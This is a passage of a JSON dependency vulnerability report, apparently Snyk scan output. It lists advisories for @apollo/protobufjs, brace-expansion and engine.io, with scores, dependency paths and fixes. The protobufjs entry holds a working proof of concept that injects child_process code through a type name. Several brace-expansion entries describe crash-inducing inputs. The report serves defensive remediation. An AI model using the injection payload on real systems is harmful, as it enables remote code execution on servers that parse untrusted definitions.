"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T15:25:15.343948Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2026-04-24T02:21:54.472893Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "3.1",
"modificationTime": "2026-04-29T05:21:17.052404Z"
}
],
"description": "## Overview\n[@apollo/protobufjs](https://www.npmjs.com/package/@apollo/protobufjs) is a language-neutral, platform-neutral, extensible way of serializing structured data for use in communications protocols, data storage, and more, originally designed at Google\n\nAffected versions of this package are vulnerable to Arbitrary Code Injection through the handling of user-supplied protobuf definitions, specifically via the Type's `name` field. An attacker can execute arbitrary JavaScript code by injecting malicious payloads into the protobuf definition, which are then executed during object decoding.\r\n\r\n**Notes:** \r\n- The vulnerability was introduced during the migration to [codegen 2](https://github.com/protobufjs/protobuf.js/commit/17c2797592bc4effd9aaae3ba9777c9550bb75ac) where sanitization of the type name was modified.\r\n- Additional security measures were introduced in `@protobufjs/codegen@2.0.5`, which could hinder exploitation on vulnerable versions.\n## PoC\n```js\r\nconst protobuf = require('protobufjs');\r\nmaliciousDescriptor = JSON.parse(`{\"nested\":{\"User\":{\"fields\":{\"id\":{\"type\":\"int32\",\"id\":1},\"data\":{\"type\":\"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\\\nfunction X\",\"id\":2}}},\"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\\\nfunction X\":{\"fields\":{\"content\":{\"type\":\"string\",\"id\":1}}}}}`)\r\nconst root = protobuf.Root.fromJSON(maliciousDescriptor);\r\nconst UserType = root.lookupType(\"User\");\r\nconst userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);\r\ntry {\r\n const user = UserType.decode(userBytes);\r\n} catch (e) {}```\n## Remediation\nUpgrade `@apollo/protobufjs` to version 1.2.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg)\n- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/ff7b2afef8754837cc6dc64c864cd111ab477956)\n",
"epssDetails": {
"percentile": "0.60901",
"probability": "0.00990",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-41242"
],
"CWE": [
"CWE-94"
],
"GHSA": [
"GHSA-xq3m-2v4x-88gg"
]
},
"packageName": "@apollo/protobufjs",
"proprietary": false,
"creationTime": "2026-04-29T09:15:09.206407Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-16T22:34:57Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-29T09:15:09.545892Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T15:25:15.343948Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"socket.io-server-v2@0.0.0",
"@apollo/server@5.5.0",
"@apollo/utils.usagereporting@2.1.0",
"@apollo/usage-reporting-protobuf@4.1.1",
"@apollo/protobufjs@1.2.7"
],
"upgradePath": [
false,
"@apollo/server@5.5.0",
"@apollo/utils.usagereporting@2.1.0",
"@apollo/usage-reporting-protobuf@4.1.2",
"@apollo/protobufjs@1.2.8"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@apollo/protobufjs",
"version": "1.2.7"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"bunyan@2.0.5",
"mv@2.1.1",
"rimraf@2.4.5",
"glob@10.5.0",
"minimatch@3.1.5",
"brace-expansion@1.1.13"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "brace-expansion",
"version": "1.1.13"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"bunyan@2.0.5",
"mv@2.1.1",
"rimraf@2.4.5",
"glob@10.5.0",
"minimatch@3.1.5",
"brace-expansion@1.1.13"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "brace-expansion",
"version": "1.1.13"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"bunyan@2.0.5",
"mv@2.1.1",
"rimraf@2.4.5",
"glob@10.5.0",
"minimatch@3.1.5",
"brace-expansion@1.1.13"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "brace-expansion",
"version": "1.1.13"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"bunyan@2.0.5",
"mv@2.1.1",
"rimraf@2.4.5",
"glob@10.5.0",
"minimatch@3.1.5",
"brace-expansion@1.1.13"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "brace-expansion",
"version": "1.1.13"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"bunyan@2.0.5",
"mv@2.1.1",
"rimraf@2.4.5",
"glob@10.5.0",
"minimatch@3.1.5",
"brace-expansion@1.1.13"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "brace-expansion",
"version": "1.1.13"
},
{
"id": "SNYK-JS-ENGINEIO-17900543",
"title": "Improper Resource Shutdown or Release",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"hibrian827"
],
"semver": {
"vulnerable": [
">=4.1.0 <6.6.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.6.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "engine.io",
"references": [
{
"url": "https://github.com/socketio/socket.io/commit/fc11285e14964c2132d122164bf130c355f60671",
"title": "GitHub Commit"
},
{
"url": "https://github.com/socketio/socket.io/security/advisories/GHSA-r635-g3xr-vw7x",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-11T07:52:50.731047Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:06:07.562488Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:06:07.562488Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-11T07:52:50.731047Z"
}
],
